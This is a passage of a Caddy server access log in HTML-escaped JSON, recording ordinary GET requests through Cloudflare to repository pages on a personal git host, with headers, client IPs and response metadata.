Safari/537.3\u0026#34;],\u0026#34;Referrer\u0026#34;:[\u0026#34;https://www.google.com/\u0026#34;],\u0026#34;X-Forwarded-For\u0026#34;:[\u0026#34;213.201.198.112\u0026#34;],\u0026#34;Accept-Language\u0026#34;:[\u0026#34;en-US,en;q=0.5\u0026#34;],\u0026#34;X-Forwarded-Proto\u0026#34;:[\u0026#34;https\u0026#34;],\u0026#34;Cf-Ray\u0026#34;:[\u0026#34;9959effbbf96dd82-EWR\u0026#34;],\u0026#34;Cf-Ipcountry\u0026#34;:[\u0026#34;US\u0026#34;]},\u0026#34;tls\u0026#34;:{\u0026#34;resumed\u0026#34;:false,\u0026#34;version\u0026#34;:772,\u0026#34;cipher_suite\u0026#34;:4865,\u0026#34;proto\u0026#34;:\u0026#34;h2\u0026#34;,\u0026#34;server_name\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;}},\u0026#34;bytes_read\u0026#34;:0,\u0026#34;user_id\u0026#34;:\u0026#34;\u0026#34;,\u0026#34;duration\u0026#34;:0.26401861,\u0026#34;size\u0026#34;:30170,\u0026#34;status\u0026#34;:200,\u0026#34;resp_headers\u0026#34;:{\u0026#34;Server\u0026#34;:[\u0026#34;Caddy\u0026#34;],\u0026#34;Alt-Svc\u0026#34;:[\u0026#34;h3=\\\u0026#34;:443\\\u0026#34;; ma=2592000\u0026#34;],\u0026#34;Cache-Control\u0026#34;:[\u0026#34;max-age=0, private, must-revalidate, no-transform\u0026#34;],\u0026#34;Content-Type\u0026#34;:[\u0026#34;text/html; charset=utf-8\u0026#34;],\u0026#34;Set-Cookie\u0026#34;:[\u0026#34;REDACTED\u0026#34;],\u0026#34;X-Frame-Options\u0026#34;:[\u0026#34;SAMEORIGIN\u0026#34;],\u0026#34;Date\u0026#34;:[\u0026#34;Tue, 28 Oct 2025 11:01:50 GMT\u0026#34;]}} {\u0026#34;level\u0026#34;:\u0026#34;info\u0026#34;,\u0026#34;ts\u0026#34;:1761649310.4635193,\u0026#34;logger\u0026#34;:\u0026#34;http.log.access.log1\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;handled request\u0026#34;,\u0026#34;request\u0026#34;:{\u0026#34;remote_ip\u0026#34;:\u0026#34;172.70.38.6\u0026#34;,\u0026#34;remote_port\u0026#34;:\u0026#34;14185\u0026#34;,\u0026#34;client_ip\u0026#34;:\u0026#34;172.70.38.6\u0026#34;,\u0026#34;proto\u0026#34;:\u0026#34;HTTP/2.0\u0026#34;,\u0026#34;method\u0026#34;:\u0026#34;GET\u0026#34;,\u0026#34;host\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;,\u0026#34;uri\u0026#34;:\u0026#34;/cyp0633/ModelComputer/commits/commit/8f16f8e97d493fd4683831f95cd8825f4ea9f760/ALU\u0026#34;,\u0026#34;headers\u0026#34;:{\u0026#34;Accept-Encoding\u0026#34;:[\u0026#34;gzip, br\u0026#34;],\u0026#34;Accept\u0026#34;:[\u0026#34;text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\u0026#34;],\u0026#34;Cf-Connecting-Ip\u0026#34;:[\u0026#34;23.226.223.128\u0026#34;],\u0026#34;Cf-Visitor\u0026#34;:[\u0026#34;{\\\u0026#34;scheme\\\u0026#34;:\\\u0026#34;https\\\u0026#34;}\u0026#34;],\u0026#34;Accept-Language\u0026#34;:[\u0026#34;en-US,en;q=0.5\u0026#34;],\u0026#34;Cf-Ray\u0026#34;:[\u0026#34;9959effc7d1c392b-IAD\u0026#34;],\u0026#34;Cdn-Loop\u0026#34;:[\u0026#34;cloudflare; loops=1\u0026#34;],\u0026#34;X-Forwarded-For\u0026#34;:[\u0026#34;23.226.223.128\u0026#34;],\u0026#34;User-Agent\u0026#34;:[\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.3\u0026#34;],\u0026#34;Referrer\u0026#34;:[\u0026#34;https://www.google.com/\u0026#34;],\u0026#34;X-Forwarded-Proto\u0026#34;:[\u0026#34;https\u0026#34;],\u0026#34;Cf-Ipcountry\u0026#34;:[\u0026#34;US\u0026#34;]},\u0026#34;tls\u0026#34;:{\u0026#34;resumed\u0026#34;:false,\u0026#34;version\u0026#34;:772,\u0026#34;cipher_suite\u0026#34;:4865,\u0026#34;proto\u0026#34;:\u0026#34;h2\u0026#34;,\u0026#34;server_name\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;}},\u0026#34;bytes_read\u0026#34;:0,\u0026#34;user_id\u0026#34;:\u0026#34;\u0026#34;,\u0026#34;duration\u0026#34;:0.195946316,\u0026#34;size\u0026#34;:26304,\u0026#34;status\u0026#34;:200,\u0026#34;resp_headers\u0026#34;:{\u0026#34;Server\u0026#34;:[\u0026#34;Caddy\u0026#34;],\u0026#34;Alt-Svc\u0026#34;:[\u0026#34;h3=\\\u0026#34;:443\\\u0026#34;; ma=2592000\u0026#34;],\u0026#34;Set-Cookie\u0026#34;:[\u0026#34;REDACTED\u0026#34;],\u0026#34;X-Frame-Options\u0026#34;:[\u0026#34;SAMEORIGIN\u0026#34;],\u0026#34;Date\u0026#34;:[\u0026#34;Tue, 28 Oct 2025 11:01:50 GMT\u0026#34;],\u0026#34;Cache-Control\u0026#34;:[\u0026#34;max-age=0, private, must-revalidate, no-transform\u0026#34;],\u0026#34;Content-Type\u0026#34;:[\u0026#34;text/html; charset=utf-8\u0026#34;]}} {\u0026#34;level\u0026#34;:\u0026#34;info\u0026#34;,\u0026#34;ts\u0026#34;:1761649310.4655995,\u0026#34;logger\u0026#34;:\u0026#34;http.log.access.log1\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;handled request\u0026#34;,\u0026#34;request\u0026#34;:{\u0026#34;remote_ip\u0026#34;:\u0026#34;172.71.194.111\u0026#34;,\u0026#34;remote_port\u0026#34;:\u0026#34;14185\u0026#34;,\u0026#34;client_ip\u0026#34;:\u0026#34;172.71.194.111\u0026#34;,\u0026#34;proto\u0026#34;:\u0026#34;HTTP/2.0\u0026#34;,\u0026#34;method\u0026#34;:\u0026#34;GET\u0026#34;,\u0026#34;host\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;,\u0026#34;uri\u0026#34;:\u0026#34;/cyp0633/stack-mod/src/commit/c41a3e0621b51c831804502d761b2ddd370ccd38/layouts/index.html\u0026#34;,\u0026#34;headers\u0026#34;:{\u0026#34;Referrer\u0026#34;:[\u0026#34;https://www.google.com/\u0026#34;],\u0026#34;Accept-Language\u0026#34;:[\u0026#34;en-US,en;q=0.5\u0026#34;],\u0026#34;X-Forwarded-Proto\u0026#34;:[\u0026#34;https\u0026#34;],\u0026#34;User-Agent\u0026#34;:[\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 OPR/117.0.0.0\u0026#34;],\u0026#34;X-Forwarded-For\u0026#34;:[\u0026#34;89.116.14.139\u0026#34;],\u0026#34;Cf-Ray\u0026#34;:[\u0026#34;9959effc0c1cd6e8-IAD\u0026#34;],\u0026#34;Cf-Connecting-Ip\u0026#34;:[\u0026#34;89.116.14.139\u0026#34;],\u0026#34;Cf-Visitor\u0026#34;:[\u0026#34;{\\\u0026#34;scheme\\\u0026#34;:\\\u0026#34;https\\\u0026#34;}\u0026#34;],\u0026#34;Accept-Encoding\u0026#34;:[\u0026#34;gzip, br\u0026#34;],\u0026#34;Accept\u0026#34;:[\u0026#34;text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\u0026#34;],\u0026#34;Cdn-Loop\u0026#34;:[\u0026#34;cloudflare; loops=1\u0026#34;],\u0026#34;Cf-Ipcountry\u0026#34;:[\u0026#34;US\u0026#34;]},\u0026#34;tls\u0026#34;:{\u0026#34;resumed\u0026#34;:false,\u0026#34;version\u0026#34;:772,\u0026#34;cipher_suite\u0026#34;:4865,\u0026#34;proto\u0026#34;:\u0026#34;h2\u0026#34;,\u0026#34;server_name\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;}},\u0026#34;bytes_read\u0026#34;:0,\u0026#34;user_id\u0026#34;:\u0026#34;\u0026#34;,\u0026#34;duration\u0026#34;:0.262741163,\u0026#34;size\u0026#34;:32454,\u0026#34;status\u0026#34;:200,\u0026#34;resp_headers\u0026#34;:{\u0026#34;Set-Cookie\u0026#34;:[\u0026#34;REDACTED\u0026#34;],\u0026#34;X-Frame-Options\u0026#34;:[\u0026#34;SAMEORIGIN\u0026#34;],\u0026#34;Date\u0026#34;:[\u0026#34;Tue, 28 Oct 2025 11:01:50 GMT\u0026#34;],\u0026#34;Server\u0026#34;:[\u0026#34;Caddy\u0026#34;],\u0026#34;Alt-Svc\u0026#34;:[\u0026#34;h3=\\\u0026#34;:443\\\u0026#34;; ma=2592000\u0026#34;],\u0026#34;Cache-Control\u0026#34;:[\u0026#34;max-age=0, private, must-revalidate, no-transform\u0026#34;],\u0026#34;Content-Type\u0026#34;:[\u0026#34;text/html; charset=utf-8\u0026#34;]}} {\u0026#34;level\u0026#34;:\u0026#34;info\u0026#34;,\u0026#34;ts\u0026#34;:1761649310.472112,\u0026#34;logger\u0026#34;:\u0026#34;http.log.access.log1\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;handled request\u0026#34;,\u0026#34;request\u0026#34;:{\u0026#34;remote_ip\u0026#34;:\u0026#34;162.158.175.131\u0026#34;,\u0026#34;remote_port\u0026#34;:\u0026#34;11188\u0026#34;,\u0026#34;client_ip\u0026#34;:\u0026#34;162.158.175.131\u0026#34;,\u0026#34;proto\u0026#34;:\u0026#34;HTTP/2.0\u0026#34;,\u0026#34;method\u0026#34;:\u0026#34;GET\u0026#34;,\u0026#34;host\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;,\u0026#34;uri\u0026#34;:\u0026#34;/cyp0633/ns3-datacenter/src/commit/281afc20f5e6a6ba20a13cab31e730a435959050/simulator/ns-3.39/.vscode/tasks.json\u0026#34;,\u0026#34;headers\u0026#34;:{\u0026#34;Referrer\u0026#34;:[\u0026#34;https://www.google.com/\u0026#34;],\u0026#34;Cf-Visitor\u0026#34;:[\u0026#34;{\\\u0026#34;scheme\\\u0026#34;:\\\u0026#34;https\\\u0026#34;}\u0026#34;],\u0026#34;Cf-Connecting-Ip\u0026#34;:[\u0026#34;45.56.186.71\u0026#34;],\u0026#34;Accept-Encoding\u0026#34;:[\u0026#34;gzip, br\u0026#34;],\u0026#34;Cf-Ray\u0026#34;:[\u0026#34;9959effbb9ee4796-DFW\u0026#34;],\u0026#34;X-Forwarded-Proto\u0026#34;:[\u0026#34;https\u0026#34;],\u0026#34;Accept-Language\u0026#34;:[\u0026#34;en-US,en;q=0.5\u0026#34;],\u0026#34;User-Agent\u0026#34;:[\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.3\u0026#34;],\u0026#34;Accept\u0026#34;:[\u0026#34;text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\u0026#34;],\u0026#34;Cdn-Loop\u0026#34;:[\u0026#34;cloudflare; loops=1\u0026#34;],\u0026#34;Cf-Ipcountry\u0026#34;:[\u0026#34;US\u0026#34;],\u0026#34;X-Forwarded-For\u0026#34;:[\u0026#34;45.56.186.71\u0026#34;]},\u0026#34;tls\u0026#34;:{\u0026#34;resumed\u0026#34;:false,\u0026#34;version\u0026#34;:772,\u0026#34;cipher_suite\u0026#34;:4865,\u0026#34;proto\u0026#34;:\u0026#34;h2\u0026#34;,\u0026#34;server_name\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;}},\u0026#34;bytes_read\u0026#34;:0,\u0026#34;user_id\u0026#34;:\u0026#34;\u0026#34;,\u0026#34;duration\u0026#34;:0.342308283,\u0026#34;size\u0026#34;:35925,\u0026#34;status\u0026#34;:200,\u0026#34;resp_headers\u0026#34;:{\u0026#34;Server\u0026#34;:[\u0026#34;Caddy\u0026#34;],\u0026#34;Alt-Svc\u0026#34;:[\u0026#34;h3=\\\u0026#34;:443\\\u0026#34;; ma=2592000\u0026#34;],\u0026#34;Cache-Control\u0026#34;:[\u0026#34;max-age=0, private, must-revalidate, no-transform\u0026#34;],\u0026#34;Content-Type\u0026#34;:[\u0026#34;text/html; charset=utf-8\u0026#34;],\u0026#34;Set-Cookie\u0026#34;:[\u0026#34;REDACTED\u0026#34;],\u0026#34;X-Frame-Options\u0026#34;:[\u0026#34;SAMEORIGIN\u0026#34;],\u0026#34;Date\u0026#34;:[\u0026#34;Tue, 28 Oct 2025 11:01:50 GMT\u0026#34;]}} {\u0026#34;level\u0026#34;:\u0026#34;info\u0026#34;,\u0026#34;ts\u0026#34;:1761649310.4908528,\u0026#34;logger\u0026#34;:\u0026#34;http.log.access.log1\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;handled request\u0026#34;,\u0026#34;request\u0026#34;:{\u0026#34;remote_ip\u0026#34;:\u0026#34;172.69.22.17\u0026#34;,\u0026#34;remote_port\u0026#34;:\u0026#34;12062\u0026#34;,\u0026#34;client_ip\u0026#34;:\u0026#34;172.69.22.17\u0026#34;,\u0026#34;proto\u0026#34;:\u0026#34;HTTP/2.0\u0026#34;,\u0026#34;method\u0026#34;:\u0026#34;GET\u0026#34;,\u0026#34;host\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;,\u0026#34;uri\u0026#34;:\u0026#34;/cyp0633/ns3-datacenter/src/commit/40b84300cf5bc6b41953239419aa8b9022a793d4/simulator/ns-3.35/bindings/python/ns__init__.py\u0026#34;,\u0026#34;headers\u0026#34;:{\u0026#34;Referrer\u0026#34;:[\u0026#34;https://www.google.com/\u0026#34;],\u0026#34;Accept\u0026#34;:[\u0026#34;text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\u0026#34;],\u0026#34;Cdn-Loop\u0026#34;:[\u0026#34;cloudflare; loops=1\u0026#34;],\u0026#34;Accept-Encoding\u0026#34;:[\u0026#34;gzip, br\u0026#34;],\u0026#34;X-Forwarded-Proto\u0026#34;:[\u0026#34;https\u0026#34;],\u0026#34;Cf-Ray\u0026#34;:[\u0026#34;9959effbeaef15e1-SJC\u0026#34;],\u0026#34;Cf-Ipcountry\u0026#34;:[\u0026#34;US\u0026#34;],\u0026#34;X-Forwarded-For\u0026#34;:[\u0026#34;166.0.180.40\u0026#34;],\u0026#34;User-Agent\u0026#34;:[\u0026#34;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.10 Safari/605.1.1\u0026#34;],\u0026#34;Cf-Visitor\u0026#34;:[\u0026#34;{\\\u0026#34;scheme\\\u0026#34;:\\\u0026#34;https\\\u0026#34;}\u0026#34;],\u0026#34;Accept-Language\u0026#34;:[\u0026#34;en-US,en;q=0.5\u0026#34;],\u0026#34;Cf-Connecting-Ip\u0026#34;:[\u0026#34;166.0.180.40\u0026#34;]},\u0026#34;tls\u0026#34;:{\u0026#34;resumed\u0026#34;:false,\u0026#34;version\u0026#34;:772,\u0026#34;cipher_suite\u0026#34;:4865,\u0026#34;proto\u0026#34;:\u0026#34;h2\u0026#34;,\u0026#34;server_name\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;}},\u0026#34;bytes_read\u0026#34;:0,\u0026#34;user_id\u0026#34;:\u0026#34;\u0026#34;,\u0026#34;duration\u0026#34;:0.341574757,\u0026#34;size\u0026#34;:28822,\u0026#34;status\u0026#34;:200,\u0026#34;resp_headers\u0026#34;:{\u0026#34;Server\u0026#34;:[\u0026#34;Caddy\u0026#34;],\u0026#34;Alt-Svc\u0026#34;:[\u0026#34;h3=\\\u0026#34;:443\\\u0026#34;; ma=2592000\u0026#34;],\u0026#34;Cache-Control\u0026#34;:[\u0026#34;max-age=0, private, must-revalidate, no-transform\u0026#34;],\u0026#34;Content-Type\u0026#34;:[\u0026#34;text/html; charset=utf-8\u0026#34;],\u0026#34;Set-Cookie\u0026#34;:[\u0026#34;REDACTED\u0026#34;],\u0026#34;X-Frame-Options\u0026#34;:[\u0026#34;SAMEORIGIN\u0026#34;],\u0026#34;Date\u0026#34;:[\u0026#34;Tue, 28 Oct 2025 11:01:50 GMT\u0026#34;]}} {\u0026#34;level\u0026#34;:\u0026#34;info\u0026#34;,\u0026#34;ts\u0026#34;:1761649310.4981875,\u0026#34;logger\u0026#34;:\u0026#34;http.log.access.log1\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;handled request\u0026#34;,\u0026#34;request\u0026#34;:{\u0026#34;remote_ip\u0026#34;:\u0026#34;172.71.191.124\u0026#34;,\u0026#34;remote_port\u0026#34;:\u0026#34;12844\u0026#34;,\u0026#34;client_ip\u0026#34;:\u0026#34;172.71.191.124\u0026#34;,\u0026#34;proto\u0026#34;:\u0026#34;HTTP/2.0\u0026#34;,\u0026#34;method\u0026#34;:\u0026#34;GET\u0026#34;,\u0026#34;host\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;,\u0026#34;uri\u0026#34;:\u0026#34;/cyp0633/stack-mod/blame/commit/a5986b92fdd601bd8b9e6907b01750bf9fbde741/layouts/_default/single.html\u0026#34;,\u0026#34;headers\u0026#34;:{\u0026#34;User-Agent\u0026#34;:[\u0026#34;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.10 Safari/605.1.1\u0026#34;],\u0026#34;Accept-Language\u0026#34;:[\u0026#34;en-US,en;q=0.5\u0026#34;],\u0026#34;X-Forwarded-Proto\u0026#34;:[\u0026#34;https\u0026#34;],\u0026#34;Cf-Connecting-Ip\u0026#34;:[\u0026#34;104.194.220.229\u0026#34;],\u0026#34;Cf-Visitor\u0026#34;:[\u0026#34;{\\\u0026#34;scheme\\\u0026#34;:\\\u0026#34;https\\\u0026#34;}\u0026#34;],\u0026#34;X-Forwarded-For\u0026#34;:[\u0026#34;104.194.220.229\u0026#34;],\u0026#34;Cf-Ray\u0026#34;:[\u0026#34;9959effbfb0be639-IAD\u0026#34;],\u0026#34;Cdn-Loop\u0026#34;:[\u0026#34;cloudflare; loops=1\u0026#34;],\u0026#34;Accept-Encoding\u0026#34;:[\u0026#34;gzip, br\u0026#34;],\u0026#34;Accept\u0026#34;:[\u0026#34;text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\u0026#34;],\u0026#34;Cf-Ipcountry\u0026#34;:[\u0026#34;US\u0026#34;],\u0026#34;Referrer\u0026#34;:[\u0026#34;https://www.google.com/\u0026#34;]},\u0026#34;tls\u0026#34;:{\u0026#34;resumed\u0026#34;:false,\u0026#34;version\u0026#34;:772,\u0026#34;cipher_suite\u0026#34;:4865,\u0026#34;proto\u0026#34;:\u0026#34;h2\u0026#34;,\u0026#34;server_name\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;}},\u0026#34;bytes_read\u0026#34;:0,\u0026#34;user_id\u0026#34;:\u0026#34;\u0026#34;,\u0026#34;duration\u0026#34;:0.297898894,\u0026#34;size\u0026#34;:86599,\u0026#34;status\u0026#34;:200,\u0026#34;resp_headers\u0026#34;:{\u0026#34;Set-Cookie\u0026#34;:[\u0026#34;REDACTED\u0026#34;],\u0026#34;X-Frame-Options\u0026#34;:[\u0026#34;SAMEORIGIN\u0026#34;],\u0026#34;Server\u0026#34;:[\u0026#34;Caddy\u0026#34;],\u0026#34;Alt-Svc\u0026#34;:[\u0026#34;h3=\\\u0026#34;:443\\\u0026#34;; ma=2592000\u0026#34;],\u0026#34;Date\u0026#34;:[\u0026#34;Tue, 28 Oct 2025 11:01:50 GMT\u0026#34;],\u0026#34;Cache-Control\u0026#34;:[\u0026#34;max-age=0, private, must-revalidate, no-transform\u0026#34;],\u0026#34;Content-Type\u0026#34;:[\u0026#34;text/html; charset=utf-8\u0026#34;]}} {\u0026#34;level\u0026#34;:\u0026#34;info\u0026#34;,\u0026#34;ts\u0026#34;:1761649310.509331,\u0026#34;logger\u0026#34;:\u0026#34;http.log.access.log1\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;handled request\u0026#34;,\u0026#34;request\u0026#34;:{\u0026#34;remote_ip\u0026#34;:\u0026#34;162.158.122.174\u0026#34;,\u0026#34;remote_port\u0026#34;:\u0026#34;10970\u0026#34;,\u0026#34;client_ip\u0026#34;:\u0026#34;162.158.122.174\u0026#34;,\u0026#34;proto\u0026#34;:\u0026#34;HTTP/2.0\u0026#34;,\u0026#34;method\u0026#34;:\u0026#34;GET\u0026#34;,\u0026#34;host\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;,\u0026#34;uri\u0026#34;:\u0026#34;/cyp0633/stack-mod/src/commit/34cd7852bc115f926b131e99c6384609d048f28f/layouts/partials/pagination.html\u0026#34;,\u0026#34;headers\u0026#34;:{\u0026#34;Referrer\u0026#34;:[\u0026#34;https://www.google.com/\u0026#34;],\u0026#34;Cdn-Loop\u0026#34;:[\u0026#34;cloudflare; loops=1\u0026#34;],\u0026#34;Cf-Visitor\u0026#34;:[\u0026#34;{\\\u0026#34;scheme\\\u0026#34;:\\\u0026#34;https\\\u0026#34;}\u0026#34;],\u0026#34;X-Forwarded-For\u0026#34;:[\u0026#34;45.157.185.71\u0026#34;],\u0026#34;Accept-Language\u0026#34;:[\u0026#34;en-US,en;q=0.5\u0026#34;],\u0026#34;Accept-Encoding\u0026#34;:[\u0026#34;gzip, br\u0026#34;],\u0026#34;Cf-Ray\u0026#34;:[\u0026#34;9959effc4a4acbb6-MAD\u0026#34;],\u0026#34;Cf-Ipcountry\u0026#34;:[\u0026#34;ES\u0026#34;],\u0026#34;User-Agent\u0026#34;:[\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.3\u0026#34;],\u0026#34;Accept\u0026#34;:[\u0026#34;text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\u0026#34;],\u0026#34;X-Forwarded-Proto\u0026#34;:[\u0026#34;https\u0026#34;],\u0026#34;Cf-Connecting-Ip\u0026#34;:[\u0026#34;45.157.185.71\u0026#34;]},\u0026#34;tls\u0026#34;:{\u0026#34;resumed\u0026#34;:false,\u0026#34;version\u0026#34;:772,\u0026#34;cipher_suite\u0026#34;:4865,\u0026#34;proto\u0026#34;:\u0026#34;h2\u0026#34;,\u0026#34;server_name\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;}},\u0026#34;bytes_read\u0026#34;:0,\u0026#34;user_id\u0026#34;:\u0026#34;\u0026#34;,\u0026#34;duration\u0026#34;:0.291499759,\u0026#34;size\u0026#34;:36375,\u0026#34;status\u0026#34;:200,\u0026#34;resp_headers\u0026#34;:{\u0026#34;Server\u0026#34;:[\u0026#34;Caddy\u0026#34;],\u0026#34;Alt-Svc\u0026#34;:[\u0026#34;h3=\\\u0026#34;:443\\\u0026#34;; ma=2592000\u0026#34;],\u0026#34;X-Frame-Options\u0026#34;:[\u0026#34;SAMEORIGIN\u0026#34;],\u0026#34;Date\u0026#34;:[\u0026#34;Tue, 28 Oct 2025 11:01:50 GMT\u0026#34;],\u0026#34;Cache-Control\u0026#34;:[\u0026#34;max-age=0, private, must-revalidate, no-transform\u0026#34;],\u0026#34;Content-Type\u0026#34;:[\u0026#34;text/html; charset=utf-8\u0026#34;],\u0026#34;Set-Cookie\u0026#34;:[\u0026#34;REDACTED\u0026#34;]}} {\u0026#34;level\u0026#34;:\u0026#34;info\u0026#34;,\u0026#34;ts\u0026#34;:1761649310.5167801,\u0026#34;logger\u0026#34;:\u0026#34;http.log.access.log1\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;handled request\u0026#34;,\u0026#34;request\u0026#34;:{\u0026#34;remote_ip\u0026#34;:\u0026#34;172.71.23.49\u0026#34;,\u0026#34;remote_port\u0026#34;:\u0026#34;10556\u0026#34;,\u0026#34;client_ip\u0026#34;:\u0026#34;172.71.23.49\u0026#34;,\u0026#34;proto\u0026#34;:\u0026#34;HTTP/2.0\u0026#34;,\u0026#34;method\u0026#34;:\u0026#34;GET\u0026#34;,\u0026#34;host\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;,\u0026#34;uri\u0026#34;:\u0026#34;/cyp0633/NanaMail-android/src/commit/59c843537d84d1c6737d5d71a708b459ab53cf98/.idea/gradle.xml\u0026#34;,\u0026#34;headers\u0026#34;:{\u0026#34;Cf-Ipcountry\u0026#34;:[\u0026#34;US\u0026#34;],\u0026#34;Cf-Connecting-Ip\u0026#34;:[\u0026#34;85.254.125.48\u0026#34;],\u0026#34;X-Forwarded-For\u0026#34;:[\u0026#34;85.254.125.48\u0026#34;],\u0026#34;Accept-Language\u0026#34;:[\u0026#34;en-US,en;q=0.5\u0026#34;],\u0026#34;Referrer\u0026#34;:[\u0026#34;https://www.google.com/\u0026#34;],\u0026#34;Cf-Ray\u0026#34;:[\u0026#34;9959effc2e95afbf-ATL\u0026#34;],\u0026#34;User-Agent\u0026#34;:[\u0026#34;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.3\u0026#34;],\u0026#34;Accept-Encoding\u0026#34;:[\u0026#34;gzip, br\u0026#34;],\u0026#34;Cf-Visitor\u0026#34;:[\u0026#34;{\\\u0026#34;scheme\\\u0026#34;:\\\u0026#34;https\\\u0026#34;}\u0026#34;],\u0026#34;Cdn-Loop\u0026#34;:[\u0026#34;cloudflare; loops=1\u0026#34;],\u0026#34;Accept\u0026#34;:[\u0026#34;text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\u0026#34;],\u0026#34;X-Forwarded-Proto\u0026#34;:[\u0026#34;https\u0026#34;]},\u0026#34;tls\u0026#34;:{\u0026#34;resumed\u0026#34;:false,\u0026#34;version\u0026#34;:772,\u0026#34;cipher_suite\u0026#34;:4865,\u0026#34;proto\u0026#34;:\u0026#34;h2\u0026#34;,\u0026#34;server_name\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;}},\u0026#34;bytes_read\u0026#34;:0,\u0026#34;user_id\u0026#34;:\u0026#34;\u0026#34;,\u0026#34;duration\u0026#34;:0.298081216,\u0026#34;size\u0026#34;:34775,\u0026#34;status\u0026#34;:200,\u0026#34;resp_headers\u0026#34;:{\u0026#34;Date\u0026#34;:[\u0026#34;Tue, 28 Oct 2025 11:01:50 GMT\u0026#34;],\u0026#34;Server\u0026#34;:[\u0026#34;Caddy\u0026#34;],\u0026#34;Alt-Svc\u0026#34;:[\u0026#34;h3=\\\u0026#34;:443\\\u0026#34;; ma=2592000\u0026#34;],\u0026#34;Cache-Control\u0026#34;:[\u0026#34;max-age=0, private, must-revalidate, no-transform\u0026#34;],\u0026#34;Content-Type\u0026#34;:[\u0026#34;text/html; charset=utf-8\u0026#34;],\u0026#34;Set-Cookie\u0026#34;:[\u0026#34;REDACTED\u0026#34;],\u0026#34;X-Frame-Options\u0026#34;:[\u0026#34;SAMEORIGIN\u0026#34;]}} {\u0026#34;level\u0026#34;:\u0026#34;info\u0026#34;,\u0026#34;ts\u0026#34;:1761649310.5189972,\u0026#34;logger\u0026#34;:\u0026#34;http.log.access.log1\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;handled request\u0026#34;,\u0026#34;request\u0026#34;:{\u0026#34;remote_ip\u0026#34;:\u0026#34;172.68.234.49\u0026#34;,\u0026#34;remote_port\u0026#34;:\u0026#34;11517\u0026#34;,\u0026#34;client_ip\u0026#34;:\u0026#34;172.68.234.49\u0026#34;,\u0026#34;proto\u0026#34;:\u0026#34;HTTP/2.0\u0026#34;,\u0026#34;method\u0026#34;:\u0026#34;GET\u0026#34;,\u0026#34;host\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;,\u0026#34;uri\u0026#34;:\u0026#34;/cyp0633/ostep-homework/commits/commit/375d19ba4b693a0f70f7632b82729fb212471564/threads-locks/test-and-set.s\u0026#34;,\u0026#34;headers\u0026#34;:{\u0026#34;Cdn-Loop\u0026#34;:[\u0026#34;cloudflare; loops=1\u0026#34;],\u0026#34;User-Agent\u0026#34;:[\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.3\u0026#34;],\u0026#34;Cf-Ray\u0026#34;:[\u0026#34;9959effd0f4de1cd-MRS\u0026#34;],\u0026#34;Accept\u0026#34;:[\u0026#34;text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\u0026#34;],\u0026#34;Referrer\u0026#34;:[\u0026#34;https://www.google.com/\u0026#34;],\u0026#34;Cf-Ipcountry\u0026#34;:[\u0026#34;IN\u0026#34;],\u0026#34;X-Forwarded-For\u0026#34;:[\u0026#34;110.44.2.253\u0026#34;],\u0026#34;X-Forwarded-Proto\u0026#34;:[\u0026#34;https\u0026#34;],\u0026#34;Cf-Visitor\u0026#34;:[\u0026#34;{\\\u0026#34;scheme\\\u0026#34;:\\\u0026#34;https\\\u0026#34;}\u0026#34;],\u0026#34;Cf-Connecting-Ip\u0026#34;:[\u0026#34;110.44.2.253\u0026#34;],\u0026#34;Accept-Language\u0026#34;:[\u0026#34;en-US,en;q=0.5\u0026#34;],\u0026#34;Accept-Encoding\u0026#34;:[\u0026#34;gzip, 